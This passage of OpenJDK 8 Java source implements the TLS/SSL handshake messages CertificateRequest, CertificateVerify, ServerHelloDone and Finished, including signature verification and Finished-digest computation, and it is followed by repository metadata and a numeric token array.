return;
}
// read the signature and hash algorithm
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
int hash = input.getInt8(); // hash algorithm
int signature = input.getInt8(); // signature algorithm
preferableSignatureAlgorithm =
SignatureAndHashAlgorithm.valueOf(hash, signature, 0);
// Is it a local supported signature algorithm?
if (!localSupportedSignAlgs.contains(
preferableSignatureAlgorithm)) {
throw new SSLHandshakeException(
"Unsupported SignatureAndHashAlgorithm in " +
"ServerKeyExchange message");
}
}
// read the signature
signatureBytes = input.getBytes16();
// verify the signature
Signature sig;
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
sig = JsseJce.getSignature(
preferableSignatureAlgorithm.getAlgorithmName());
} else {
sig = getSignature(signingKey.getAlgorithm());
}
sig.initVerify(signingKey);
updateSignature(sig, clntNonce, svrNonce);
if (sig.verify(signatureBytes) == false ) {
throw new SSLKeyException(
"Invalid signature on ECDH server key exchange message");
}
}
/*
* Get the ephemeral EC public key encapsulated in this message.
*/
ECPublicKey getPublicKey() {
return publicKey;
}
private static Signature getSignature(String keyAlgorithm)
throws NoSuchAlgorithmException {
switch (keyAlgorithm) {
case "EC":
return JsseJce.getSignature(JsseJce.SIGNATURE_ECDSA);
case "RSA":
return RSASignature.getInstance();
default:
throw new NoSuchAlgorithmException("neither an RSA or a EC key");
}
}
private void updateSignature(Signature sig, byte clntNonce[],
byte svrNonce[]) throws SignatureException {
sig.update(clntNonce);
sig.update(svrNonce);
sig.update((byte)CURVE_NAMED_CURVE);
sig.update((byte)(curveId >> 8));
sig.update((byte)curveId);
sig.update((byte)pointBytes.length);
sig.update(pointBytes);
}
@Override
int messageLength() {
int sigLen = 0;
if (signatureBytes != null) {
sigLen = 2 + signatureBytes.length;
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
sigLen += SignatureAndHashAlgorithm.sizeInRecord();
}
}
return 4 + pointBytes.length + sigLen;
}
@Override
void send(HandshakeOutStream s) throws IOException {
s.putInt8(CURVE_NAMED_CURVE);
s.putInt16(curveId);
s.putBytes8(pointBytes);
if (signatureBytes != null) {
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
s.putInt8(preferableSignatureAlgorithm.getHashValue());
s.putInt8(preferableSignatureAlgorithm.getSignatureValue());
}
s.putBytes16(signatureBytes);
}
}
@Override
void print(PrintStream s) throws IOException {
s.println("*** ECDH ServerKeyExchange");
if (debug != null && Debug.isOn("verbose")) {
if (signatureBytes == null) {
s.println("Anonymous");
} else {
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
s.println("Signature Algorithm " +
preferableSignatureAlgorithm.getAlgorithmName());
}
}
s.println("Server key: " + publicKey);
}
}
}
static final class DistinguishedName {
/*
* DER encoded distinguished name.
* TLS requires that its not longer than 65535 bytes.
*/
byte name[];
DistinguishedName(HandshakeInStream input) throws IOException {
name = input.getBytes16();
}
DistinguishedName(X500Principal dn) {
name = dn.getEncoded();
}
X500Principal getX500Principal() throws IOException {
try {
return new X500Principal(name);
} catch (IllegalArgumentException e) {
throw (SSLProtocolException)new SSLProtocolException(
e.getMessage()).initCause(e);
}
}
int length() {
return 2 + name.length;
}
void send(HandshakeOutStream output) throws IOException {
output.putBytes16(name);
}
void print(PrintStream output) throws IOException {
X500Principal principal = new X500Principal(name);
output.println("<" + principal.toString() + ">");
}
}
/*
* CertificateRequest ... SERVER --> CLIENT
*
* Authenticated servers may ask clients to authenticate themselves
* in turn, using this message.
*
* Prior to TLS 1.2, the structure of the message is defined as:
* struct {
* ClientCertificateType certificate_types<1..2^8-1>;
* DistinguishedName certificate_authorities<0..2^16-1>;
* } CertificateRequest;
*
* In TLS 1.2, the structure is changed to:
* struct {
* ClientCertificateType certificate_types<1..2^8-1>;
* SignatureAndHashAlgorithm
* supported_signature_algorithms<2^16-1>;
* DistinguishedName certificate_authorities<0..2^16-1>;
* } CertificateRequest;
*
*/
static final
class CertificateRequest extends HandshakeMessage
{
// enum ClientCertificateType
static final int cct_rsa_sign = 1;
static final int cct_dss_sign = 2;
static final int cct_rsa_fixed_dh = 3;
static final int cct_dss_fixed_dh = 4;
// The existance of these two values is a bug in the SSL specification.
// They are never used in the protocol.
static final int cct_rsa_ephemeral_dh = 5;
static final int cct_dss_ephemeral_dh = 6;
// From RFC 4492 (ECC)
static final int cct_ecdsa_sign = 64;
static final int cct_rsa_fixed_ecdh = 65;
static final int cct_ecdsa_fixed_ecdh = 66;
private final static byte[] TYPES_NO_ECC = { cct_rsa_sign, cct_dss_sign };
private final static byte[] TYPES_ECC =
{ cct_rsa_sign, cct_dss_sign, cct_ecdsa_sign };
byte types []; // 1 to 255 types
DistinguishedName authorities []; // 3 to 2^16 - 1
// ... "3" because that's the smallest DER-encoded X500 DN
// protocol version being established using this CertificateRequest message
ProtocolVersion protocolVersion;
// supported_signature_algorithms for TLS 1.2 or later
private Collection<SignatureAndHashAlgorithm> algorithms;
// length of supported_signature_algorithms
private int algorithmsLen;
CertificateRequest(X509Certificate ca[], KeyExchange keyExchange,
Collection<SignatureAndHashAlgorithm> signAlgs,
ProtocolVersion protocolVersion) throws IOException {
this.protocolVersion = protocolVersion;
// always use X500Principal
authorities = new DistinguishedName[ca.length];
for (int i = 0; i < ca.length; i++) {
X500Principal x500Principal = ca[i].getSubjectX500Principal();
authorities[i] = new DistinguishedName(x500Principal);
}
// we support RSA, DSS, and ECDSA client authentication and they
// can be used with all ciphersuites. If this changes, the code
// needs to be adapted to take keyExchange into account.
// We only request ECDSA client auth if we have ECC crypto available.
this.types = JsseJce.isEcAvailable() ? TYPES_ECC : TYPES_NO_ECC;
// Use supported_signature_algorithms for TLS 1.2 or later.
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
if (signAlgs == null || signAlgs.isEmpty()) {
throw new SSLProtocolException(
"No supported signature algorithms");
}
algorithms = new ArrayList<SignatureAndHashAlgorithm>(signAlgs);
algorithmsLen =
SignatureAndHashAlgorithm.sizeInRecord() * algorithms.size();
} else {
algorithms = new ArrayList<SignatureAndHashAlgorithm>();
algorithmsLen = 0;
}
}
CertificateRequest(HandshakeInStream input,
ProtocolVersion protocolVersion) throws IOException {
this.protocolVersion = protocolVersion;
// Read the certificate_types.
types = input.getBytes8();
// Read the supported_signature_algorithms for TLS 1.2 or later.
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
algorithmsLen = input.getInt16();
if (algorithmsLen < 2) {
throw new SSLProtocolException(
"Invalid supported_signature_algorithms field");
}
algorithms = new ArrayList<SignatureAndHashAlgorithm>();
int remains = algorithmsLen;
int sequence = 0;
while (remains > 1) { // needs at least two bytes
int hash = input.getInt8(); // hash algorithm
int signature = input.getInt8(); // signature algorithm
SignatureAndHashAlgorithm algorithm =
SignatureAndHashAlgorithm.valueOf(hash, signature,
++sequence);
algorithms.add(algorithm);
remains -= 2; // one byte for hash, one byte for signature
}
if (remains != 0) {
throw new SSLProtocolException(
"Invalid supported_signature_algorithms field");
}
} else {
algorithms = new ArrayList<SignatureAndHashAlgorithm>();
algorithmsLen = 0;
}
// read the certificate_authorities
int len = input.getInt16();
ArrayList<DistinguishedName> v = new ArrayList<>();
while (len >= 3) {
DistinguishedName dn = new DistinguishedName(input);
v.add(dn);
len -= dn.length();
}
if (len != 0) {
throw new SSLProtocolException("Bad CertificateRequest DN length");
}
authorities = v.toArray(new DistinguishedName[v.size()]);
}
X500Principal[] getAuthorities() throws IOException {
X500Principal[] ret = new X500Principal[authorities.length];
for (int i = 0; i < authorities.length; i++) {
ret[i] = authorities[i].getX500Principal();
}
return ret;
}
Collection<SignatureAndHashAlgorithm> getSignAlgorithms() {
return algorithms;
}
@Override
int messageType() {
return ht_certificate_request;
}
@Override
int messageLength() {
int len = 1 + types.length + 2;
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
len += algorithmsLen + 2;
}
for (int i = 0; i < authorities.length; i++) {
len += authorities[i].length();
}
return len;
}
@Override
void send(HandshakeOutStream output) throws IOException {
// put certificate_types
output.putBytes8(types);
// put supported_signature_algorithms
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
output.putInt16(algorithmsLen);
for (SignatureAndHashAlgorithm algorithm : algorithms) {
output.putInt8(algorithm.getHashValue()); // hash
output.putInt8(algorithm.getSignatureValue()); // signature
}
}
// put certificate_authorities
int len = 0;
for (int i = 0; i < authorities.length; i++) {
len += authorities[i].length();
}
output.putInt16(len);
for (int i = 0; i < authorities.length; i++) {
authorities[i].send(output);
}
}
@Override
void print(PrintStream s) throws IOException {
s.println("*** CertificateRequest");
if (debug != null && Debug.isOn("verbose")) {
s.print("Cert Types: ");
for (int i = 0; i < types.length; i++) {
switch (types[i]) {
case cct_rsa_sign:
s.print("RSA"); break;
case cct_dss_sign:
s.print("DSS"); break;
case cct_rsa_fixed_dh:
s.print("Fixed DH (RSA sig)"); break;
case cct_dss_fixed_dh:
s.print("Fixed DH (DSS sig)"); break;
case cct_rsa_ephemeral_dh:
s.print("Ephemeral DH (RSA sig)"); break;
case cct_dss_ephemeral_dh:
s.print("Ephemeral DH (DSS sig)"); break;
case cct_ecdsa_sign:
s.print("ECDSA"); break;
case cct_rsa_fixed_ecdh:
s.print("Fixed ECDH (RSA sig)"); break;
case cct_ecdsa_fixed_ecdh:
s.print("Fixed ECDH (ECDSA sig)"); break;
default:
s.print("Type-" + (types[i] & 0xff)); break;
}
if (i != types.length - 1) {
s.print(", ");
}
}
s.println();
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
StringBuffer buffer = new StringBuffer();
boolean opened = false;
for (SignatureAndHashAlgorithm signAlg : algorithms) {
if (opened) {
buffer.append(", " + signAlg.getAlgorithmName());
} else {
buffer.append(signAlg.getAlgorithmName());
opened = true;
}
}
s.println("Supported Signature Algorithms: " + buffer);
}
s.println("Cert Authorities:");
if (authorities.length == 0) {
s.println("<Empty>");
} else {
for (int i = 0; i < authorities.length; i++) {
authorities[i].print(s);
}
}
}
}
}
/*
* ServerHelloDone ... SERVER --> CLIENT
*
* When server's done sending its messages in response to the client's
* "hello" (e.g. its own hello, certificate, key exchange message, perhaps
* client certificate request) it sends this message to flag that it's
* done that part of the handshake.
*/
static final
class ServerHelloDone extends HandshakeMessage
{
@Override
int messageType() { return ht_server_hello_done; }
ServerHelloDone() { }
ServerHelloDone(HandshakeInStream input)
{
// nothing to do
}
@Override
int messageLength()
{
return 0;
}
@Override
void send(HandshakeOutStream s) throws IOException
{
// nothing to send
}
@Override
void print(PrintStream s) throws IOException
{
s.println("*** ServerHelloDone");
}
}
/*
* CertificateVerify ... CLIENT --> SERVER
*
* Sent after client sends signature-capable certificates (e.g. not
* Diffie-Hellman) to verify.
*/
static final class CertificateVerify extends HandshakeMessage {
// the signature bytes
private byte[] signature;
// protocol version being established using this ServerKeyExchange message
ProtocolVersion protocolVersion;
// the preferable signature algorithm used by this CertificateVerify message
private SignatureAndHashAlgorithm preferableSignatureAlgorithm = null;
/*
* Create an RSA or DSA signed certificate verify message.
*/
CertificateVerify(ProtocolVersion protocolVersion,
HandshakeHash handshakeHash, PrivateKey privateKey,
SecretKey masterSecret, SecureRandom sr,
SignatureAndHashAlgorithm signAlgorithm)
throws GeneralSecurityException {
this.protocolVersion = protocolVersion;
String algorithm = privateKey.getAlgorithm();
Signature sig = null;
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
this.preferableSignatureAlgorithm = signAlgorithm;
sig = JsseJce.getSignature(signAlgorithm.getAlgorithmName());
} else {
sig = getSignature(protocolVersion, algorithm);
}
sig.initSign(privateKey, sr);
updateSignature(sig, protocolVersion, handshakeHash, algorithm,
masterSecret);
signature = sig.sign();
}
//
// Unmarshal the signed data from the input stream.
//
CertificateVerify(HandshakeInStream input,
Collection<SignatureAndHashAlgorithm> localSupportedSignAlgs,
ProtocolVersion protocolVersion) throws IOException {
this.protocolVersion = protocolVersion;
// read the signature and hash algorithm
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
int hashAlg = input.getInt8(); // hash algorithm
int signAlg = input.getInt8(); // signature algorithm
preferableSignatureAlgorithm =
SignatureAndHashAlgorithm.valueOf(hashAlg, signAlg, 0);
// Is it a local supported signature algorithm?
if (!localSupportedSignAlgs.contains(
preferableSignatureAlgorithm)) {
throw new SSLHandshakeException(
"Unsupported SignatureAndHashAlgorithm in " +
"ServerKeyExchange message");
}
}
// read the signature
signature = input.getBytes16();
}
/*
* Get the preferable signature algorithm used by this message
*/
SignatureAndHashAlgorithm getPreferableSignatureAlgorithm() {
return preferableSignatureAlgorithm;
}
/*
* Verify a certificate verify message. Return the result of verification,
* if there is a problem throw a GeneralSecurityException.
*/
boolean verify(ProtocolVersion protocolVersion,
HandshakeHash handshakeHash, PublicKey publicKey,
SecretKey masterSecret) throws GeneralSecurityException {
String algorithm = publicKey.getAlgorithm();
Signature sig = null;
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
sig = JsseJce.getSignature(
preferableSignatureAlgorithm.getAlgorithmName());
} else {
sig = getSignature(protocolVersion, algorithm);
}
sig.initVerify(publicKey);
updateSignature(sig, protocolVersion, handshakeHash, algorithm,
masterSecret);
return sig.verify(signature);
}
/*
* Get the Signature object appropriate for verification using the
* given signature algorithm and protocol version.
*/
private static Signature getSignature(ProtocolVersion protocolVersion,
String algorithm) throws GeneralSecurityException {
switch (algorithm) {
case "RSA":
return RSASignature.getInternalInstance();
case "DSA":
return JsseJce.getSignature(JsseJce.SIGNATURE_RAWDSA);
case "EC":
return JsseJce.getSignature(JsseJce.SIGNATURE_RAWECDSA);
default:
throw new SignatureException("Unrecognized algorithm: "
+ algorithm);
}
}
/*
* Update the Signature with the data appropriate for the given
* signature algorithm and protocol version so that the object is
* ready for signing or verifying.
*/
private static void updateSignature(Signature sig,
ProtocolVersion protocolVersion,
HandshakeHash handshakeHash, String algorithm, SecretKey masterKey)
throws SignatureException {
if (algorithm.equals("RSA")) {
if (protocolVersion.v < ProtocolVersion.TLS12.v) { // TLS1.1-
MessageDigest md5Clone = handshakeHash.getMD5Clone();
MessageDigest shaClone = handshakeHash.getSHAClone();
if (protocolVersion.v < ProtocolVersion.TLS10.v) { // SSLv3
updateDigest(md5Clone, MD5_pad1, MD5_pad2, masterKey);
updateDigest(shaClone, SHA_pad1, SHA_pad2, masterKey);
}
// The signature must be an instance of RSASignature, need
// to use these hashes directly.
RSASignature.setHashes(sig, md5Clone, shaClone);
} else { // TLS1.2+
sig.update(handshakeHash.getAllHandshakeMessages());
}
} else { // DSA, ECDSA
if (protocolVersion.v < ProtocolVersion.TLS12.v) { // TLS1.1-
MessageDigest shaClone = handshakeHash.getSHAClone();
if (protocolVersion.v < ProtocolVersion.TLS10.v) { // SSLv3
updateDigest(shaClone, SHA_pad1, SHA_pad2, masterKey);
}
sig.update(shaClone.digest());
} else { // TLS1.2+
sig.update(handshakeHash.getAllHandshakeMessages());
}
}
}
/*
* Update the MessageDigest for SSLv3 certificate verify or finished
* message calculation. The digest must already have been updated with
* all preceding handshake messages.
* Used by the Finished class as well.
*/
private static void updateDigest(MessageDigest md,
byte[] pad1, byte[] pad2,
SecretKey masterSecret) {
// Digest the key bytes if available.
// Otherwise (sensitive key), try digesting the key directly.
// That is currently only implemented in SunPKCS11 using a private
// reflection API, so we avoid that if possible.
byte[] keyBytes = "RAW".equals(masterSecret.getFormat())
? masterSecret.getEncoded() : null;
if (keyBytes != null) {
md.update(keyBytes);
} else {
digestKey(md, masterSecret);
}
md.update(pad1);
byte[] temp = md.digest();
if (keyBytes != null) {
md.update(keyBytes);
} else {
digestKey(md, masterSecret);
}
md.update(pad2);
md.update(temp);
}
private final static Class<?> delegate;
private final static Field spiField;
static {
try {
delegate = Class.forName("java.security.MessageDigest$Delegate");
spiField = delegate.getDeclaredField("digestSpi");
} catch (Exception e) {
throw new RuntimeException("Reflection failed", e);
}
makeAccessible(spiField);
}
private static void makeAccessible(final AccessibleObject o) {
AccessController.doPrivileged(new PrivilegedAction<Object>() {
@Override
public Object run() {
o.setAccessible(true);
return null;
}
});
}
// ConcurrentHashMap does not allow null values, use this marker object
private final static Object NULL_OBJECT = new Object();
// cache Method objects per Spi class
// Note that this will prevent the Spi classes from being GC'd. We assume
// that is not a problem.
private final static Map<Class<?>,Object> methodCache =
new ConcurrentHashMap<>();
private static void digestKey(MessageDigest md, SecretKey key) {
try {
// Verify that md is implemented via MessageDigestSpi, not
// via JDK 1.1 style MessageDigest subclassing.
if (md.getClass() != delegate) {
throw new Exception("Digest is not a MessageDigestSpi");
}
MessageDigestSpi spi = (MessageDigestSpi)spiField.get(md);
Class<?> clazz = spi.getClass();
Object r = methodCache.get(clazz);
if (r == null) {
try {
r = clazz.getDeclaredMethod("implUpdate", SecretKey.class);
makeAccessible((Method)r);
} catch (NoSuchMethodException e) {
r = NULL_OBJECT;
}
methodCache.put(clazz, r);
}
if (r == NULL_OBJECT) {
throw new Exception(
"Digest does not support implUpdate(SecretKey)");
}
Method update = (Method)r;
update.invoke(spi, key);
} catch (Exception e) {
throw new RuntimeException(
"Could not obtain encoded key and "
+ "MessageDigest cannot digest key", e);
}
}
@Override
int messageType() {
return ht_certificate_verify;
}
@Override
int messageLength() {
int temp = 2;
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
temp += SignatureAndHashAlgorithm.sizeInRecord();
}
return temp + signature.length;
}
@Override
void send(HandshakeOutStream s) throws IOException {
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
s.putInt8(preferableSignatureAlgorithm.getHashValue());
s.putInt8(preferableSignatureAlgorithm.getSignatureValue());
}
s.putBytes16(signature);
}
@Override
void print(PrintStream s) throws IOException {
s.println("*** CertificateVerify");
if (debug != null && Debug.isOn("verbose")) {
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
s.println("Signature Algorithm " +
preferableSignatureAlgorithm.getAlgorithmName());
}
}
}
}
/*
* FINISHED ... sent by both CLIENT and SERVER
*
* This is the FINISHED message as defined in the SSL and TLS protocols.
* Both protocols define this handshake message slightly differently.
* This class supports both formats.
*
* When handshaking is finished, each side sends a "change_cipher_spec"
* record, then immediately sends a "finished" handshake message prepared
* according to the newly adopted cipher spec.
*
* NOTE that until this is sent, no application data may be passed, unless
* some non-default cipher suite has already been set up on this connection
* connection (e.g. a previous handshake arranged one).
*/
static final class Finished extends HandshakeMessage {
// constant for a Finished message sent by the client
final static int CLIENT = 1;
// constant for a Finished message sent by the server
final static int SERVER = 2;
// enum Sender: "CLNT" and "SRVR"
private static final byte[] SSL_CLIENT = { 0x43, 0x4C, 0x4E, 0x54 };
private static final byte[] SSL_SERVER = { 0x53, 0x52, 0x56, 0x52 };
/*
* Contents of the finished message ("checksum"). For TLS, it
* is 12 bytes long, for SSLv3 36 bytes.
*/
private byte[] verifyData;
/*
* Current cipher suite we are negotiating. TLS 1.2 has
* ciphersuite-defined PRF algorithms.
*/
private ProtocolVersion protocolVersion;
private CipherSuite cipherSuite;
/*
* Create a finished message to send to the remote peer.
*/
Finished(ProtocolVersion protocolVersion, HandshakeHash handshakeHash,
int sender, SecretKey master, CipherSuite cipherSuite) {
this.protocolVersion = protocolVersion;
this.cipherSuite = cipherSuite;
verifyData = getFinished(handshakeHash, sender, master);
}
/*
* Constructor that reads FINISHED message from stream.
*/
Finished(ProtocolVersion protocolVersion, HandshakeInStream input,
CipherSuite cipherSuite) throws IOException {
this.protocolVersion = protocolVersion;
this.cipherSuite = cipherSuite;
int msgLen = (protocolVersion.v >= ProtocolVersion.TLS10.v) ? 12 : 36;
verifyData = new byte[msgLen];
input.read(verifyData);
}
/*
* Verify that the hashes here are what would have been produced
* according to a given set of inputs. This is used to ensure that
* both client and server are fully in sync, and that the handshake
* computations have been successful.
*/
boolean verify(HandshakeHash handshakeHash, int sender, SecretKey master) {
byte[] myFinished = getFinished(handshakeHash, sender, master);
return MessageDigest.isEqual(myFinished, verifyData);
}
/*
* Perform the actual finished message calculation.
*/
private byte[] getFinished(HandshakeHash handshakeHash,
int sender, SecretKey masterKey) {
byte[] sslLabel;
String tlsLabel;
if (sender == CLIENT) {
sslLabel = SSL_CLIENT;
tlsLabel = "client finished";
} else if (sender == SERVER) {
sslLabel = SSL_SERVER;
tlsLabel = "server finished";
} else {
throw new RuntimeException("Invalid sender: " + sender);
}
if (protocolVersion.v >= ProtocolVersion.TLS10.v) {
// TLS 1.0+
try {
byte [] seed;
String prfAlg;
PRF prf;
// Get the KeyGenerator alg and calculate the seed.
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
// TLS 1.2
seed = handshakeHash.getFinishedHash();
prfAlg = "SunTls12Prf";
prf = cipherSuite.prfAlg;
} else {
// TLS 1.0/1.1
MessageDigest md5Clone = handshakeHash.getMD5Clone();
MessageDigest shaClone = handshakeHash.getSHAClone();
seed = new byte[36];
md5Clone.digest(seed, 0, 16);
shaClone.digest(seed, 16, 20);
prfAlg = "SunTlsPrf";
prf = P_NONE;
}
String prfHashAlg = prf.getPRFHashAlg();
int prfHashLength = prf.getPRFHashLength();
int prfBlockSize = prf.getPRFBlockSize();
/*
* RFC 5246/7.4.9 says that finished messages can
* be ciphersuite-specific in both length/PRF hash
* algorithm. If we ever run across a different
* length, this call will need to be updated.
*/
TlsPrfParameterSpec spec = new TlsPrfParameterSpec(
masterKey, tlsLabel, seed, 12,
prfHashAlg, prfHashLength, prfBlockSize);
KeyGenerator kg = JsseJce.getKeyGenerator(prfAlg);
kg.init(spec);
SecretKey prfKey = kg.generateKey();
if ("RAW".equals(prfKey.getFormat()) == false) {
throw new ProviderException(
"Invalid PRF output, format must be RAW");
}
byte[] finished = prfKey.getEncoded();
return finished;
} catch (GeneralSecurityException e) {
throw new RuntimeException("PRF failed", e);
}
} else {
// SSLv3
MessageDigest md5Clone = handshakeHash.getMD5Clone();
MessageDigest shaClone = handshakeHash.getSHAClone();
updateDigest(md5Clone, sslLabel, MD5_pad1, MD5_pad2, masterKey);
updateDigest(shaClone, sslLabel, SHA_pad1, SHA_pad2, masterKey);
byte[] finished = new byte[36];
try {
md5Clone.digest(finished, 0, 16);
shaClone.digest(finished, 16, 20);
} catch (DigestException e) {
// cannot occur
throw new RuntimeException("Digest failed", e);
}
return finished;
}
}
/*
* Update the MessageDigest for SSLv3 finished message calculation.
* The digest must already have been updated with all preceding handshake
* messages. This operation is almost identical to the certificate verify
* hash, reuse that code.
*/
private static void updateDigest(MessageDigest md, byte[] sender,
byte[] pad1, byte[] pad2, SecretKey masterSecret) {
md.update(sender);
CertificateVerify.updateDigest(md, pad1, pad2, masterSecret);
}
// get the verify_data of the finished message
byte[] getVerifyData() {
return verifyData;
}
@Override
int messageType() { return ht_finished; }
@Override
int messageLength() {
return verifyData.length;
}
@Override
void send(HandshakeOutStream out) throws IOException {
out.write(verifyData);
}
@Override
void print(PrintStream s) throws IOException {
s.println("*** Finished");
if (debug != null && Debug.isOn("verbose")) {
Debug.println(s, "verify_data", verifyData);
s.println("***");
}
}
}
//
// END of nested classes
//
}
| 70,616
|
Java
|
.java
|
nilsvanvelzen/mac_ppc_openjdk8u60
| 19
| 3
| 2
|
2019-04-05T13:18:18Z
|
2019-04-15T07:48:36Z
|
3e7574689e1ceec30405f4b5502b9455689941c5edfcdaeded583d7a355a844b
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
54,
62,
62,
59,
49,
244,
55,
53,
54,
58,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
244,
17980,
6759,
1218,
477,
222,
338,
8445,
822,
641,
5405,
391,
341,
332,
44978,
39,
3773,
641,
3961,
222,
338,
829,
17980,
347,
341,
7621,
822,
708,
20854,
297,
4850,
477,
1361,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
222,
1337,
15315,
51,
4386,
51,
6490,
64,
222,
222,
485,
1401,
51,
735,
7737,
222,
485,
1401,
51,
3851,
51,
21520,
64,
222,
485,
1401,
51,
4386,
7737,
222,
485,
1401,
51,
4386,
51,
11204,
7737,
222,
485,
1401,
51,
4386,
51,
2314,
7737,
222,
485,
1401,
51,
4386,
51,
7007,
7737,
222,
485,
1401,
51,
4386,
51,
7007,
51,
9546,
64,
222,
485,
1401,
51,
1058,
7737,
222,
485,
1401,
51,
1058,
51,
8349,
51,
18705,
8263,
64,
222,
222,
485,
1401,
51,
1600,
51,
9069,
7737,
222,
222,
485,
3698,
51,
4386,
51,
2408,
51,
125,
58,
53,
53,
51,
93,
58,
53,
53,
14275,
64,
222,
222,
485,
3698,
51,
8866,
51,
971,
4829,
64,
222,
485,
3698,
51,
8866,
51,
32640,
64,
222,
485,
3698,
51,
8866,
51,
2314,
51,
73,
3617,
497,
42654,
64,
222,
222,
485,
3698,
51,
1317,
51,
6490,
7737,
222,
222,
485,
15315,
51,
4386,
51,
3269,
51,
2314,
51,
30073,
2161,
107,
3026,
2722,
64,
222,
485,
15315,
51,
4386,
51,
6490,
51,
23178,
10911,
7737,
222,
485,
924,
15315,
51,
4386,
51,
6490,
51,
23178,
10911,
51,
2999,
75,
7737,
222,
485,
15315,
51,
4386,
51,
1058,
51,
971,
1747,
64,
222,
222,
1350,
222,
338,
23881,
727,
16602,
904,
21067,
347,
341,
31068,
5231,
51,
244,
8227,
222,
338,
6052,
904,
1674,
641,
16602,
49,
642,
581,
727,
9007,
51,
244,
11241,
904,
222,
338,
666,
8716,
11154,
341,
14149,
2670,
51,
222,
338,
222,
338,
17414,
14915,
5231,
1187,
1178,
331,
4959,
3353,
2224,
49,
480,
2974,
904,
1187,
222,
338,
11849,
347,
331,
332,
40063,
727,
39,
14149,
3646,
1381,
2255,
51,
244,
906,
1712,
462,
222,
338,
2464,
327,
37110,
1193,
46,
7388,
331,
4959,
8376,
480,
9233,
341,
222,
338,
14149,
3646,
847,
451,
341,
8445,
31068,
1492,
51,
222,
338,
222,
338,
1369,
822,
4326,
36679,
456,
1187,
341,
6575,
31068,
5231,
51,
222,
338,
3381,
31068,
5231,
3722,
2650,
391,
9356,
480,
9860,
21979,
563,
222,
338,
14149,
18386,
64,
477,
30643,
1218,
1493,
341,
2454,
1361,
563,
14149,
2060,
480,
222,
338,
2160,
29820,
49,
21094,
2974,
2818,
1348,
3256,
480,
7776,
341,
2454,
5231,
51,
222,
338,
222,
338,
22617,
2353,
3722,
2650,
391,
1489,
21979,
49,
1532,
458,
12301,
41718,
222,
338,
456,
15073,
51,
244,
11241,
5198,
12452,
3641,
847,
49,
480,
902,
24500,
222,
338,
10137,
1187,
451,
3641,
1813,
51,
222,
338,
222,
338,
496,
2133,
23241,
38619,
1042,
222,
588,
222,
942,
5560,
462,
17414,
14915,
1193,
320,
465,
17414,
14915,
1193,
365,
320,
339,
465,
453,
3858,
17414,
14915,
638,
63,
303,
924,
1175,
3447,
280,
13670,
100,
7670,
100,
1375,
299,
244,
53,
64,
303,
924,
1175,
3447,
280,
13670,
100,
1598,
100,
7670,
299,
244,
54,
64,
303,
924,
1175,
3447,
280,
13670,
100,
1805,
100,
7670,
299,
244,
55,
64,
465,
924,
1175,
3447,
280,
13670,
100,
15311,
299,
244,
54,
54,
64,
303,
924,
1175,
3447,
280,
13670,
100,
1805,
100,
697,
100,
11435,
299,
244,
54,
55,
64,
303,
924,
1175,
3447,
280,
13670,
100,
15311,
100,
1375,
299,
244,
54,
56,
64,
303,
924,
1175,
3447,
280,
13670,
100,
1805,
100,
7670,
100,
5099,
299,
244,
54,
57,
64,
303,
924,
1175,
3447,
280,
13670,
100,
15311,
100,
6970,
299,
244,
54,
58,
64,
303,
924,
1175,
3447,
280,
13670,
100,
1598,
100,
697,
100,
11435,
299,
244,
54,
59,
64,
465,
924,
1175,
3447,
280,
13670,
100,
15017,
299,
244,
55,
53,
64,
465,
1276,
1727,
480,
22964,
7108,
15073,
2208,
588,
303,
581,
924,
1175,
8093,
4598,
299,
8093,
51,
7432,
459,
6490,
742,
465,
1041,
294,
338,
23194,
1431,
391,
4511,
331,
21721,
391,
331,
3447,
1437,
347,
3638,
294,
338,
2224,
641,
5366,
347,
341,
31068,
5231,
51,
21721,
5268,
294,
338,
244,
55,
1200,
31648,
2224,
49,
613,
51,
106,
51,
580,
35532,
1510,
619,
